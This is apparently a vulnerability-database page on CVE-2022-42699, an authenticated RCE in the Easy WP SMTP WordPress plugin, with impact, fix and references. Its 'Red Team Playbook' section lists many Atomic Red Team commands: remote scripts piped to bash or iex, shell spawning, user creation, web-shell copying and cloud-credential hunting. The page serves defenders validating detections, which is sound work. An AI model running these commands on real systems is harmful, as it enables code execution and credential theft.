CVE-2022-42699
Overview
This vulnerability is an authenticated remote code execution flaw rooted in improper handling of user-supplied input within the Easy WP SMTP WordPress plugin, version 1.5.1 and earlier. The issue arises from unsafe evaluation of input that leads to code injection, specifically linked to the plugin's SMTP configuration or message processing components. The flaw is categorized under CWE-94, indicating improper control of code injection through dynamic evaluation mechanisms in the plugin's core functionality.
Vulnerability Description
Auth. Remote Code Execution vulnerability in Easy WP SMTP plugin <= 1.5.1 on WordPress.
Impact
An attacker with a high-privileged authenticated account can execute arbitrary PHP code on the WordPress server, leading to full system compromise. This enables unauthorized access to sensitive data, modification or deletion of site content, installation of backdoors, and potential lateral movement within the hosting environment. The prerequisite is possession of an account with administrative or equivalent privileges on the affected WordPress instance. The business impact includes complete loss of site integrity, confidentiality breaches, and potential disruption of services.
Solution
Users of the Easy WP SMTP WordPress plugin should upgrade to version 1.5.2 or later, where this vulnerability is addressed. Detailed patch instructions and advisory information are available at Patchstack's database: https://patchstack.com/database/vulnerability/easy-wp-smtp/wordpress-easy-wp-smtp-plugin-1-5-1-auth-remote-code-execution-rce-vulnerability?_s_id=cve. No official workaround is documented; therefore, applying the vendor-provided patch promptly is critical to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Easy WP SMTP plugin for WordPress is characterized by an authenticated remote code execution flaw, which allows attackers with valid credentials to execute arbitrary code on the server hosting the affected plugin. This vulnerability arises from insufficient input validation and improper handling of user-supplied data within the plugin's functionality. Specifically, the issue lies in the way the plugin processes certain requests, enabling an authenticated user to manipulate the execution flow and potentially gain elevated privileges. This flaw underscores the importance of rigorous code review and validation practices in plugin development, particularly for widely used applications like WordPress.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting authenticated users who possess access to the WordPress admin panel. An attacker could leverage social engineering techniques to gain legitimate credentials or exploit weak password practices. Once authenticated, the attacker can send specially crafted requests to the plugin, triggering the execution of malicious code. This scenario highlights the critical need for robust authentication mechanisms and user education regarding credential security. Additionally, the potential for exploitation increases in environments where multiple users have administrative access, as it raises the likelihood of an attacker gaining the necessary permissions to execute the attack.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on WordPress for their online presence. Successful exploitation could lead to unauthorized access to sensitive data, website defacement, or even complete server compromise. The ramifications may extend beyond immediate financial losses, as businesses could face reputational damage, loss of customer trust, and potential legal repercussions due to data breaches. Furthermore, the high CVSS score of 8.8 indicates that this vulnerability poses a significant risk, necessitating immediate attention from organizations utilizing the affected plugin to safeguard their digital assets.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Easy WP SMTP plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the server. Monitoring user activity for unusual behavior, such as unexpected changes to settings or unauthorized access attempts, can also aid in early detection of potential exploitation. Furthermore, organizations should enforce strong password policies and consider implementing two-factor authentication to enhance account security for all users, particularly those with administrative privileges.
In conclusion, the authenticated remote code execution vulnerability in the Easy WP SMTP plugin presents a considerable threat to WordPress users. The potential for exploitation by authenticated users, combined with the severe implications of a successful attack, necessitates proactive measures from organizations to protect their systems. By adopting a comprehensive security strategy that includes timely updates, user education, and robust authentication practices, businesses can significantly reduce their risk exposure and enhance their overall cybersecurity posture.
The CVSS score for CVE-2022-42699 has been revised upward from 8.8 to 9.1, reflecting a reassessment of the vulnerability’s impact and exploitability. This adjustment indicates a recognition of increased potential severity, likely due to refined understanding of the ease with which authenticated attackers can execute remote code through the Easy WP SMTP plugin. While our telemetry shows the exploit probability remains stable without a surge in active exploitation, the elevated score underscores the critical nature of this vulnerability within WordPress environments. For defenders, this change signals a heightened urgency to prioritize detection and response efforts around this plugin, as the risk of significant compromise is now considered more imminent. The updated risk level reinforces that organizations relying on affected versions should maintain vigilance, as the vulnerability’s exploitability and impact have been deemed more severe, potentially facilitating more damaging attacks if leveraged by threat actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wp-Ecommerce | Easy Wp Smtp | All |
cpe:2.3:a:wp-ecommerce:easy_wp_smtp:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-42699 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/easy-wp-smtp/wordpress-easy-wp-smtp-plugin-1-5-1-auth-remote-code-execution-rce-vulnerability?_s_id=cve |